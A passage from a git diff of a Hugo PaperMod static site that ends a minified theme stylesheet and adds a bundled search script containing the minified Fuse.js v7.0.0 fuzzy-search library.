var(--theme)inset}img{display:block;max-width:100%}.not-found{position:absolute;left:0;right:0;display:flex;align-items:center;justify-content:center;height:80%;font-size:160px;font-weight:700}.archive-posts{width:100%;font-size:16px}.archive-year{margin-top:40px}.archive-year:not(:last-of-type){border-bottom:2px solid var(--border)}.archive-month{display:flex;align-items:flex-start;padding:10px 0}.archive-month-header{margin:25px 0;width:200px}.archive-month:not(:last-of-type){border-bottom:1px solid var(--border)}.archive-entry{position:relative;padding:5px;margin:10px 0}.archive-entry-title{margin:5px 0;font-weight:400}.archive-count,.archive-meta{color:var(--secondary);font-size:14px}.footer,.top-link{font-size:12px;color:var(--secondary)}.footer{max-width:calc(var(--main-width) + var(--gap) * 2);margin:auto;padding:calc((var(--footer-height) - var(--gap))/2)var(--gap);text-align:center;line-height:24px}.footer span{margin-inline-start:1px;margin-inline-end:1px}.footer span:last-child{white-space:nowrap}.footer a{color:inherit;border-bottom:1px solid var(--secondary)}.footer a:hover{border-bottom:1px solid var(--primary)}.top-link{visibility:hidden;position:fixed;bottom:60px;right:30px;z-index:99;background:var(--tertiary);width:42px;height:42px;padding:12px;border-radius:64px;transition:visibility .5s,opacity .8s linear}.top-link,.top-link svg{filter:drop-shadow(0 0 0 var(--theme))}.footer a:hover,.top-link:hover{color:var(--primary)}.top-link:focus,#theme-toggle:focus{outline:0}.nav{display:flex;flex-wrap:wrap;justify-content:space-between;max-width:calc(var(--nav-width) + var(--gap) * 2);margin-inline-start:auto;margin-inline-end:auto;line-height:var(--header-height)}.nav a{display:block}.logo,#menu{display:flex;margin:auto var(--gap)}.logo{flex-wrap:inherit}.logo a{font-size:24px;font-weight:700}.logo a img,.logo a svg{display:inline;vertical-align:middle;pointer-events:none;transform:translate(0,-10%);border-radius:6px;margin-inline-end:8px}button#theme-toggle{font-size:26px;margin:auto 4px}body.dark #moon{vertical-align:middle;display:none}body:not(.dark) #sun{display:none}#menu{list-style:none;word-break:keep-all;overflow-x:auto;white-space:nowrap}#menu li+li{margin-inline-start:var(--gap)}#menu a{font-size:16px}#menu .active{font-weight:500;border-bottom:2px solid}.lang-switch li,.lang-switch ul,.logo-switches{display:inline-flex;margin:auto 4px}.lang-switch{display:flex;flex-wrap:inherit}.lang-switch a{margin:auto 3px;font-size:16px;font-weight:500}.logo-switches{flex-wrap:inherit}.main{position:relative;min-height:calc(100vh - var(--header-height) - var(--footer-height));max-width:calc(var(--main-width) + var(--gap) * 2);margin:auto;padding:var(--gap)}.page-header h1{font-size:40px}.pagination{display:flex}.pagination a{color:var(--theme);font-size:13px;line-height:36px;background:var(--primary);border-radius:calc(36px/2);padding:0 16px}.pagination .next{margin-inline-start:auto}.social-icons{padding:12px 0}.social-icons a:not(:last-of-type){margin-inline-end:12px}.social-icons a svg{height:26px;width:26px}code{direction:ltr}div.highlight,pre{position:relative}.copy-code{display:none;position:absolute;top:4px;right:4px;color:rgba(255,255,255,.8);background:rgba(78,78,78,.8);border-radius:var(--radius);padding:0 5px;font-size:14px;user-select:none}div.highlight:hover .copy-code,pre:hover .copy-code{display:block}.first-entry{position:relative;display:flex;flex-direction:column;justify-content:center;min-height:320px;margin:var(--gap)0 calc(var(--gap) * 2)}.first-entry .entry-header{overflow:hidden;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:3}.first-entry .entry-header h1{font-size:34px;line-height:1.3}.first-entry .entry-content{margin:14px 0;font-size:16px;-webkit-line-clamp:3}.first-entry .entry-footer{font-size:14px}.home-info .entry-content{-webkit-line-clamp:unset}.post-entry{position:relative;margin-bottom:var(--gap);padding:var(--gap);background:var(--entry);border-radius:var(--radius);transition:transform .1s;border:1px solid var(--border)}.post-entry:active{transform:scale(.96)}.tag-entry .entry-cover{display:none}.entry-header h2{font-size:24px;line-height:1.3}.entry-content{margin:8px 0;color:var(--secondary);font-size:14px;line-height:1.6;overflow:hidden;display:-webkit-box;-webkit-box-orient:vertical;-webkit-line-clamp:2}.entry-footer{color:var(--secondary);font-size:13px}.entry-link{position:absolute;left:0;right:0;top:0;bottom:0}.entry-cover,.entry-isdraft{font-size:14px;color:var(--secondary)}.entry-cover{margin-bottom:var(--gap);text-align:center}.entry-cover img{border-radius:var(--radius);pointer-events:none;width:100%;height:auto}.entry-cover a{color:var(--secondary);box-shadow:0 1px 0 var(--primary)}.page-header,.post-header{margin:24px auto var(--content-gap)}.post-title{margin-bottom:2px;font-size:40px}.post-description{margin-top:10px;margin-bottom:5px}.post-meta,.breadcrumbs{color:var(--secondary);font-size:14px;display:flex;flex-wrap:wrap}.post-meta .i18n_list li{display:inline-flex;list-style:none;margin:auto 3px;box-shadow:0 1px 0 var(--secondary)}.breadcrumbs a{font-size:16px}.post-content{color:var(--content)}.post-content h3,.post-content h4,.post-content h5,.post-content h6{margin:24px 0 16px}.post-content h1{margin:40px auto 32px;font-size:40px}.post-content h2{margin:32px auto 24px;font-size:32px}.post-content h3{font-size:24px}.post-content h4{font-size:16px}.post-content h5{font-size:14px}.post-content h6{font-size:12px}.post-content a,.toc a:hover{box-shadow:0 1px;box-decoration-break:clone;-webkit-box-decoration-break:clone}.post-content a code{margin:auto 0;border-radius:0;box-shadow:0 -1px 0 var(--primary)inset}.post-content del{text-decoration:line-through}.post-content dl,.post-content ol,.post-content p,.post-content figure,.post-content ul{margin-bottom:var(--content-gap)}.post-content ol,.post-content ul{padding-inline-start:20px}.post-content li{margin-top:5px}.post-content li p{margin-bottom:0}.post-content dl{display:flex;flex-wrap:wrap;margin:0}.post-content dt{width:25%;font-weight:700}.post-content dd{width:75%;margin-inline-start:0;padding-inline-start:10px}.post-content dd~dd,.post-content dt~dt{margin-top:10px}.post-content table{margin-bottom:32px}.post-content table th,.post-content table:not(.highlighttable,.highlight table,.gist .highlight) td{min-width:80px;padding:12px 8px;line-height:1.5;border-bottom:1px solid var(--border)}.post-content table th{font-size:14px;text-align:start}.post-content table:not(.highlighttable) td code:only-child{margin:auto 0}.post-content .highlight table{border-radius:var(--radius)}.post-content .highlight:not(table){margin:10px auto;background:var(--hljs-bg)!important;border-radius:var(--radius);direction:ltr}.post-content li>.highlight{margin-inline-end:0}.post-content ul pre{margin-inline-start:calc(var(--gap) * -2)}.post-content .highlight pre{margin:0}.post-content .highlighttable{table-layout:fixed}.post-content .highlighttable td:first-child{width:40px}.post-content .highlighttable td .linenodiv{padding-inline-end:0!important}.post-content .highlighttable td .highlight,.post-content .highlighttable td .linenodiv pre{margin-bottom:0}.post-content code{margin:auto 4px;padding:4px 6px;font-size:.78em;line-height:1.5;background:var(--code-bg);border-radius:2px}.post-content pre code{display:block;margin:auto 0;padding:10px;color:#d5d5d6;background:var(--hljs-bg)!important;border-radius:var(--radius);overflow-x:auto;word-break:break-all}.post-content blockquote{margin:20px 0;padding:0 14px;border-inline-start:3px solid var(--primary)}.post-content hr{margin:30px 0;height:2px;background:var(--tertiary);border:0}.post-content iframe{max-width:100%}.post-content img{border-radius:4px;margin:1rem 0}.post-content img[src*="#center"]{margin:1rem auto}.post-content figure.align-center{text-align:center}.post-content figure>figcaption{color:var(--primary);font-size:16px;font-weight:700;margin:8px 0 16px}.post-content figure>figcaption>p{color:var(--secondary);font-size:14px;font-weight:400}.toc{margin:0 2px 40px;border:1px solid var(--border);background:var(--code-bg);border-radius:var(--radius);padding:.4em}.dark .toc{background:var(--entry)}.toc details summary{cursor:zoom-in;margin-inline-start:20px}.toc details[open] summary{cursor:zoom-out}.toc .details{display:inline;font-weight:500}.toc .inner{margin:0 20px;padding:10px 20px}.toc li ul{margin-inline-start:var(--gap)}.toc summary:focus{outline:0}.post-footer{margin-top:56px}.post-tags li{display:inline-block;margin-inline-end:3px;margin-bottom:5px}.post-tags a,.share-buttons,.paginav{border-radius:var(--radius);background:var(--code-bg);border:1px solid var(--border)}.post-tags a{display:block;padding-inline-start:14px;padding-inline-end:14px;color:var(--secondary);font-size:14px;line-height:34px;background:var(--code-bg)}.post-tags a:hover,.paginav a:hover{background:var(--border)}.share-buttons{margin:14px 0;padding-inline-start:var(--radius);display:flex;justify-content:center;overflow-x:auto}.share-buttons a{margin-top:10px}.share-buttons a:not(:last-of-type){margin-inline-end:12px}h1:hover .anchor,h2:hover .anchor,h3:hover .anchor,h4:hover .anchor,h5:hover .anchor,h6:hover .anchor{display:inline-flex;color:var(--secondary);margin-inline-start:8px;font-weight:500;user-select:none}.paginav{margin:10px 0;display:flex;line-height:30px;border-radius:var(--radius)}.paginav a{padding-inline-start:14px;padding-inline-end:14px;border-radius:var(--radius)}.paginav .title{letter-spacing:1px;text-transform:uppercase;font-size:small;color:var(--secondary)}.paginav .prev,.paginav .next{width:50%}.paginav span:hover:not(.title){box-shadow:0 1px}.paginav .next{margin-inline-start:auto;text-align:right}[dir=rtl] .paginav .next{text-align:left}h1>a>svg{display:inline}img.in-text{display:inline;margin:auto}.buttons,.main .profile{display:flex;justify-content:center}.main .profile{align-items:center;min-height:calc(100vh - var(--header-height) - var(--footer-height) - (var(--gap) * 2));text-align:center}.profile .profile_inner h1{padding:12px 0}.profile img{display:inline-table;border-radius:50%}.buttons{flex-wrap:wrap;max-width:400px;margin:0 auto}.button{background:var(--tertiary);border-radius:var(--radius);margin:8px;padding:6px;transition:transform .1s}.button-inner{padding:0 8px}.button:active{transform:scale(.96)}#searchbox input{padding:4px 10px;width:100%;color:var(--primary);font-weight:700;border:2px solid var(--tertiary);border-radius:var(--radius)}#searchbox input:focus{border-color:var(--secondary)}#searchResults li{list-style:none;border-radius:var(--radius);padding:10px;margin:10px 0;position:relative;font-weight:500}#searchResults{margin:10px 0;width:100%}#searchResults li:active{transition:transform .1s;transform:scale(.98)}#searchResults a{position:absolute;width:100%;height:100%;top:0;left:0;outline:none}#searchResults .focus{transform:scale(.98);border:2px solid var(--tertiary)}.terms-tags li{display:inline-block;margin:10px;font-weight:500}.terms-tags a{display:block;padding:3px 10px;background:var(--tertiary);border-radius:6px;transition:transform .1s}.terms-tags a:active{background:var(--tertiary);transform:scale(.96)}.hljs-comment,.hljs-quote{color:#b6b18b}.hljs-deletion,.hljs-name,.hljs-regexp,.hljs-selector-class,.hljs-selector-id,.hljs-tag,.hljs-template-variable,.hljs-variable{color:#eb3c54}.hljs-built_in,.hljs-builtin-name,.hljs-link,.hljs-literal,.hljs-meta,.hljs-number,.hljs-params,.hljs-type{color:#e7ce56}.hljs-attribute{color:#ee7c2b}.hljs-addition,.hljs-bullet,.hljs-string,.hljs-symbol{color:#4fb4d7}.hljs-section,.hljs-title{color:#78bb65}.hljs-keyword,.hljs-selector-tag{color:#b45ea4}.hljs{display:block;overflow-x:auto;background:#1c1d21;color:#c0c5ce;padding:.5em}.hljs-emphasis{font-style:italic}.hljs-strong{font-weight:700}::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-track{background:var(--code-bg)}::-webkit-scrollbar-thumb{background:var(--tertiary);border:5px solid var(--theme);border-radius:var(--radius)}.list:not(.dark)::-webkit-scrollbar-thumb{border:5px solid var(--code-bg)}::-webkit-scrollbar-thumb:hover{background:var(--secondary)}::-webkit-scrollbar:not(.highlighttable,.highlight table,.gist .highlight){background:var(--theme)}.post-content .highlighttable td .highlight pre code::-webkit-scrollbar{display:none}.post-content :not(table) ::-webkit-scrollbar-thumb{border:2px solid var(--hljs-bg);background:#717175}.post-content :not(table) ::-webkit-scrollbar-thumb:hover{background:#a3a3a5}.gist table::-webkit-scrollbar-thumb{border:2px solid #fff;background:#adadad}.gist table::-webkit-scrollbar-thumb:hover{background:#707070}.post-content table::-webkit-scrollbar-thumb{border-width:2px}@media screen and (min-width:768px){::-webkit-scrollbar{width:19px;height:11px}}@media screen and (max-width:768px){:root{--gap:14px}.profile img{transform:scale(.85)}.first-entry{min-height:260px}.archive-month{flex-direction:column}.archive-year{margin-top:20px}.footer{padding:calc((var(--footer-height) - var(--gap) - 10px)/2)var(--gap)}}@media screen and (max-width:900px){.list .top-link{transform:translateY(-5rem)}}@media(prefers-reduced-motion){.terms-tags a:active,.button:active,.post-entry:active,.top-link,#searchResults .focus,#searchResults li:active{transform:none}}
\ No newline at end of file
diff --git a/assets/js/search.261c90de559c199fa16400e7578de7ce42b8c992a89c3979582b78bc8e02e42d.js b/assets/js/search.261c90de559c199fa16400e7578de7ce42b8c992a89c3979582b78bc8e02e42d.js
new file mode 100644
index 00000000..3ba37ee6
--- /dev/null
+++ b/assets/js/search.261c90de559c199fa16400e7578de7ce42b8c992a89c3979582b78bc8e02e42d.js
@@ -0,0 +1,19 @@
+/**
+ * Fuse.js v7.0.0 - Lightweight fuzzy-search (http://fusejs.io)
+ *
+ * Copyright (c) 2023 Kiro Risk (http://kiro.me)
+ * All Rights Reserved. Apache Software License 2.0
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ */
+var e,t;e=this,t=function(){"use strict";function e(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function t(t){for(var n=1;n<arguments.length;n++){var r=null!=arguments[n]?arguments[n]:{};n%2?e(Object(r),!0).forEach((function(e){a(t,e,r[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(r)):e(Object(r)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(r,e))}))}return t}function n(e){return n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},n(e)}function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function i(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,h(r.key),r)}}function o(e,t,n){return t&&i(e.prototype,t),n&&i(e,n),Object.defineProperty(e,"prototype",{writable:!1}),e}function a(e,t,n){return(t=h(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function c(e){return function(e){if(Array.isArray(e))return s(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(e){if("string"==typeof e)return s(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?s(e,t):void 0}}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function s(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function h(e){var t=function(e,t){if("object"!=typeof e||null===e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var r=n.call(e,t||"default");if("object"!=typeof r)return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return("string"===t?String:Number)(e)}(e,"string");return"symbol"==typeof t?t:String(t)}function u(e){return Array.isArray?Array.isArray(e):"[object Array]"===m(e)}var l=1/0;function d(e){return null==e?"":function(e){if("string"==typeof e)return e;var t=e+"";return"0"==t&&1/e==-l?"-0":t}(e)}function f(e){return"string"==typeof e}function v(e){return"number"==typeof e}function g(e){return!0===e||!1===e||function(e){return function(e){return"object"===n(e)}(e)&&null!==e}(e)&&"[object Boolean]"==m(e)}function y(e){return null!=e}function p(e){return!e.trim().length}function m(e){return null==e?void 0===e?"[object Undefined]":"[object Null]":Object.prototype.toString.call(e)}var b=function(e){return"Missing ".concat(e," property in key")},k=function(e){return"Property 'weight' in key '".concat(e,"' must be a positive integer")},M=Object.prototype.hasOwnProperty,w=function(){function e(t){var n=this;r(this,e),this._keys=[],this._keyMap={};var i=0;t.forEach((function(e){var t=x(e);n._keys.push(t),n._keyMap[t.id]=t,i+=t.weight})),this._keys.forEach((function(e){e.weight/=i}))}return o(e,[{key:"get",value:function(e){return this._keyMap[e]}},{key:"keys",value:function(){return this._keys}},{key:"toJSON",value:function(){return JSON.stringify(this._keys)}}]),e}();function x(e){var t=null,n=null,r=null,i=1,o=null;if(f(e)||u(e))r=e,t=L(e),n=S(e);else{if(!M.call(e,"name"))throw new Error(b("name"));var a=e.name;if(r=a,M.call(e,"weight")&&(i=e.weight)<=0)throw new Error(k(a));t=L(a),n=S(a),o=e.getFn}return{path:t,id:n,weight:i,src:r,getFn:o}}function L(e){return u(e)?e:e.split(".")}function S(e){return u(e)?e.join("."):e}var _={useExtendedSearch:!1,getFn:function(e,t){var n=[],r=!1;return function e(t,i,o){if(y(t))if(i[o]){var a=t[i[o]];if(!y(a))return;if(o===i.length-1&&(f(a)||v(a)||g(a)))n.push(d(a));else if(u(a)){r=!0;for(var c=0,s=a.length;c<s;c+=1)e(a[c],i,o+1)}else i.length&&e(a,i,o+1)}else n.push(t)}(e,f(t)?t.split("."):t,0),r?n:n[0]},ignoreLocation:!1,ignoreFieldNorm:!1,fieldNormWeight:1},O=t(t(t(t({},{isCaseSensitive:!1,includeScore:!1,keys:[],shouldSort:!0,sortFn:function(e,t){return e.score===t.score?e.idx<t.idx?-1:1:e.score<t.score?-1:1}}),{includeMatches:!1,findAllMatches:!1,minMatchCharLength:1}),{location:0,threshold:.6,distance:100}),_),j=/[^ ]+/g,A=function(){function e(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=t.getFn,i=void 0===n?O.getFn:n,o=t.fieldNormWeight,a=void 0===o?O.fieldNormWeight:o;r(this,e),this.norm=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:1,t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:3,n=new Map,r=Math.pow(10,t);return{get:function(t){var i=t.match(j).length;if(n.has(i))return n.get(i);var o=1/Math.pow(i,.5*e),a=parseFloat(Math.round(o*r)/r);return n.set(i,a),a},clear:function(){n.clear()}}}(a,3),this.getFn=i,this.isCreated=!1,this.setIndexRecords()}return o(e,[{key:"setSources",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];this.docs=e}},{key:"setIndexRecords",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];this.records=e}},{key:"setKeys",value:function(){var e=this,t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];this.keys=t,this._keysMap={},t.forEach((function(t,n){e._keysMap[t.id]=n}))}},{key:"create",value:function(){var e=this;!this.isCreated&&this.docs.length&&(this.isCreated=!0,f(this.docs[0])?this.docs.forEach((function(t,n){e._addString(t,n)})):this.docs.forEach((function(t,n){e._addObject(t,n)})),this.norm.clear())}},{key:"add",value:function(e){var t=this.size();f(e)?this._addString(e,t):this._addObject(e,t)}},{key:"removeAt",value:function(e){this.records.splice(e,1);for(var t=e,n=this.size();t<n;t+=1)this.records[t].i-=1}},{key:"getValueForItemAtKeyId",value:function(e,t){return e[this._keysMap[t]]}},{key:"size",value:function(){return this.records.length}},{key:"_addString",value:function(e,t){if(y(e)&&!p(e)){var n={v:e,i:t,n:this.norm.get(e)};this.records.push(n)}}},{key:"_addObject",value:function(e,t){var n=this,r={i:t,$:{}};this.keys.forEach((function(t,i){var o=t.getFn?t.getFn(e):n.getFn(e,t.path);if(y(o))if(u(o)){for(var a=[],c=[{nestedArrIndex:-1,value:o}];c.length;){var s=c.pop(),h=s.nestedArrIndex,l=s.value;if(y(l))if(f(l)&&!p(l)){var d={v:l,i:h,n:n.norm.get(l)};a.push(d)}else u(l)&&l.forEach((function(e,t){c.push({nestedArrIndex:t,value:e})}))}r.$[i]=a}else if(f(o)&&!p(o)){var v={v:o,n:n.norm.get(o)};r.$[i]=v}})),this.records.push(r)}},{key:"toJSON",value:function(){return{keys:this.keys,records:this.records}}}]),e}();function E(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=n.getFn,i=void 0===r?O.getFn:r,o=n.fieldNormWeight,a=void 0===o?O.fieldNormWeight:o,c=new A({getFn:i,fieldNormWeight:a});return c.setKeys(e.map(x)),c.setSources(t),c.create(),c}function I(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=t.errors,r=void 0===n?0:n,i=t.currentLocation,o=void 0===i?0:i,a=t.expectedLocation,c=void 0===a?0:a,s=t.distance,h=void 0===s?O.distance:s,u=t.ignoreLocation,l=void 0===u?O.ignoreLocation:u,d=r/e.length;if(l)return d;var f=Math.abs(c-o);return h?d+f/h:f?1:d}var F=32;function C(e,t,n){var r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{},i=r.location,o=void 0===i?O.location:i,a=r.distance,c=void 0===a?O.distance:a,s=r.threshold,h=void 0===s?O.threshold:s,u=r.findAllMatches,l=void 0===u?O.findAllMatches:u,d=r.minMatchCharLength,f=void 0===d?O.minMatchCharLength:d,v=r.includeMatches,g=void 0===v?O.includeMatches:v,y=r.ignoreLocation,p=void 0===y?O.ignoreLocation:y;if(t.length>F)throw new Error("Pattern length exceeds max of ".concat(F,"."));for(var m,b=t.length,k=e.length,M=Math.max(0,Math.min(o,k)),w=h,x=M,L=f>1||g,S=L?Array(k):[];(m=e.indexOf(t,x))>-1;){var _=I(t,{currentLocation:m,expectedLocation:M,distance:c,ignoreLocation:p});if(w=Math.min(_,w),x=m+b,L)for(var j=0;j<b;)S[m+j]=1,j+=1}x=-1;for(var A=[],E=1,C=b+k,N=1<<b-1,P=0;P<b;P+=1){for(var W=0,T=C;W<T;)I(t,{errors:P,currentLocation:M+T,expectedLocation:M,distance:c,ignoreLocation:p})<=w?W=T:C=T,T=Math.floor((C-W)/2+W);C=T;var $=Math.max(1,M-T+1),D=l?k:Math.min(M+T,k)+b,K=Array(D+2);K[D+1]=(1<<P)-1;for(var z=D;z>=$;z-=1){var J=z-1,R=n[e.charAt(J)];if(L&&(S[J]=+!!R),K[z]=(K[z+1]<<1|1)&R,P&&(K[z]|=(A[z+1]|A[z])<<1|1|A[z+1]),K[z]&N&&(E=I(t,{errors:P,currentLocation:J,expectedLocation:M,distance:c,ignoreLocation:p}))<=w){if(w=E,(x=J)<=M)break;$=Math.max(1,2*M-x)}}if(I(t,{errors:P+1,currentLocation:M,expectedLocation:M,distance:c,ignoreLocation:p})>w)break;A=K}var U={isMatch:x>=0,score:Math.max(.001,E)};if(L){var B=function(){for(var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:O.minMatchCharLength,n=[],r=-1,i=-1,o=0,a=e.length;o<a;o+=1){var c=e[o];c&&-1===r?r=o:c||-1===r||((i=o-1)-r+1>=t&&n.push([r,i]),r=-1)}return e[o-1]&&o-r>=t&&n.push([r,o-1]),n}(S,f);B.length?g&&(U.indices=B):U.isMatch=!1}return U}function N(e){for(var t={},n=0,r=e.length;n<r;n+=1){var i=e.charAt(n);t[i]=(t[i]||0)|1<<r-n-1}return t}var P=function(){function e(t){var n=this,i=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},o=i.location,a=void 0===o?O.location:o,c=i.threshold,s=void 0===c?O.threshold:c,h=i.distance,u=void 0===h?O.distance:h,l=i.includeMatches,d=void 0===l?O.includeMatches:l,f=i.findAllMatches,v=void 0===f?O.findAllMatches:f,g=i.minMatchCharLength,y=void 0===g?O.minMatchCharLength:g,p=i.isCaseSensitive,m=void 0===p?O.isCaseSensitive:p,b=i.ignoreLocation,k=void 0===b?O.ignoreLocation:b;if(r(this,e),this.options={location:a,threshold:s,distance:u,includeMatches:d,findAllMatches:v,minMatchCharLength:y,isCaseSensitive:m,ignoreLocation:k},this.pattern=m?t:t.toLowerCase(),this.chunks=[],this.pattern.length){var M=function(e,t){n.chunks.push({pattern:e,alphabet:N(e),startIndex:t})},w=this.pattern.length;if(w>F){for(var x=0,L=w%F,S=w-L;x<S;)M(this.pattern.substr(x,F),x),x+=F;if(L){var _=w-F;M(this.pattern.substr(_),_)}}else M(this.pattern,0)}}return o(e,[{key:"searchIn",value:function(e){var t=this.options,n=t.isCaseSensitive,r=t.includeMatches;if(n||(e=e.toLowerCase()),this.pattern===e){var i={isMatch:!0,score:0};return r&&(i.indices=[[0,e.length-1]]),i}var o=this.options,a=o.location,s=o.distance,h=o.threshold,u=o.findAllMatches,l=o.minMatchCharLength,d=o.ignoreLocation,f=[],v=0,g=!1;this.chunks.forEach((function(t){var n=t.pattern,i=t.alphabet,o=t.startIndex,y=C(e,n,i,{location:a+o,distance:s,threshold:h,findAllMatches:u,minMatchCharLength:l,includeMatches:r,ignoreLocation:d}),p=y.isMatch,m=y.score,b=y.indices;p&&(g=!0),v+=m,p&&b&&(f=[].concat(c(f),c(b)))}));var y={isMatch:g,score:g?v/this.chunks.length:1};return g&&r&&(y.indices=f),y}}]),e}(),W=[];function T(e,t){for(var n=0,r=W.length;n<r;n+=1){var i=W[n];if(i.condition(e,t))return new i(e,t)}return new P(e,t)}function $(e,t){var n=e.matches;t.matches=[],y(n)&&n.forEach((function(e){if(y(e.indices)&&e.indices.length){var n={indices:e.indices,value:e.value};e.key&&(n.key=e.key.src),e.idx>-1&&(n.refIndex=e.idx),t.matches.push(n)}}))}function D(e,t){t.score=e.score}var K=function(){function e(n){var i=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},o=arguments.length>2?arguments[2]:void 0;if(r(this,e),this.options=t(t({},O),i),this.options.useExtendedSearch)throw new Error("Extended search is not available");this._keyStore=new w(this.options.keys),this.setCollection(n,o)}return o(e,[{key:"setCollection",value:function(e,t){if(this._docs=e,t&&!(t instanceof A))throw new Error("Incorrect 'index' type");this._myIndex=t||E(this.options.keys,this._docs,{getFn:this.options.getFn,fieldNormWeight:this.options.fieldNormWeight})}},{key:"add",value:function(e){y(e)&&(this._docs.push(e),this._myIndex.add(e))}},{key:"remove",value:function(){for(var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:function(){return!1},t=[],n=0,r=this._docs.length;n<r;n+=1){var i=this._docs[n];e(i,n)&&(this.removeAt(n),n-=1,r-=1,t.push(i))}return t}},{key:"removeAt",value:function(e){this._docs.splice(e,1),this._myIndex.removeAt(e)}},{key:"getIndex",value:function(){return this._myIndex}},{key:"search",value:function(e){var t=(arguments.length>1&&void 0!==arguments[1]?arguments[1]:{}).limit,n=void 0===t?-1:t,r=this.options,i=r.includeMatches,o=r.includeScore,a=r.shouldSort,c=r.sortFn,s=r.ignoreFieldNorm,h=f(e)?f(this._docs[0])?this._searchStringList(e):this._searchObjectList(e):this._searchLogical(e);return function(e,t){var n=t.ignoreFieldNorm,r=void 0===n?O.ignoreFieldNorm:n;e.forEach((function(e){var t=1;e.matches.forEach((function(e){var n=e.key,i=e.norm,o=e.score,a=n?n.weight:null;t*=Math.pow(0===o&&a?Number.EPSILON:o,(a||1)*(r?1:i))})),e.score=t}))}(h,{ignoreFieldNorm:s}),a&&h.sort(c),v(n)&&n>-1&&(h=h.slice(0,n)),function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=n.includeMatches,i=void 0===r?O.includeMatches:r,o=n.includeScore,a=void 0===o?O.includeScore:o,c=[];return i&&c.push($),a&&c.push(D),e.map((function(e){var n=e.idx,r={item:t[n],refIndex:n};return c.length&&c.forEach((function(t){t(e,r)})),r}))}(h,this._docs,{includeMatches:i,includeScore:o})}},{key:"_searchStringList",value:function(e){var t=T(e,this.options),n=this._myIndex.records,r=[];return n.forEach((function(e){var n=e.v,i=e.i,o=e.n;if(y(n)){var a=t.searchIn(n),c=a.isMatch,s=a.score,h=a.indices;c&&r.push({item:n,idx:i,matches:[{score:s,value:n,norm:o,indices:h}]})}})),r}},{key:"_searchLogical",value:function(e){throw new Error("Logical search is not available")}},{key:"_searchObjectList",value:function(e){var t=this,n=T(e,this.options),r=this._myIndex,i=r.keys,o=r.records,a=[];return o.forEach((function(e){var r=e.$,o=e.i;if(y(r)){var s=[];i.forEach((function(e,i){s.push.apply(s,c(t._findMatches({key:e,value:r[i],searcher:n})))})),s.length&&a.push({idx:o,item:r,matches:s})}})),a}},{key:"_findMatches",value:function(e){var t=e.key,n=e.value,r=e.searcher;if(!y(n))return[];var i=[];if(u(n))n.forEach((function(e){var n=e.v,o=e.i,a=e.n;if(y(n)){var c=r.searchIn(n),s=c.isMatch,h=c.score,u=c.indices;s&&i.push({score:h,key:t,value:n,idx:o,norm:a,indices:u})}}));else{var o=n.v,a=n.n,c=r.searchIn(o),s=c.isMatch,h=c.score,l=c.indices;s&&i.push({score:h,key:t,value:o,norm:a,indices:l})}return i}}]),e}();return K.version="7.0.0",K.createIndex=E,K.parseIndex=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=t.getFn,r=void 0===n?O.getFn:n,i=t.fieldNormWeight,o=void 0===i?O.fieldNormWeight:i,a=e.keys,c=e.records,s=new A({getFn:r,fieldNormWeight:o});return s.setKeys(a),s.setIndexRecords(c),s},K.config=O,K},"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e||self).Fuse=t();
+;
+/*
+  PaperMod v7
+  License: MIT https://github.com/adityatelange/hugo-PaperMod/blob/master/LICENSE
+  Copyright (c) 2020 nanxiaobei and adityatelange
+  Copyright (c) 2021-2023 adityatelange
+*/
+
+;
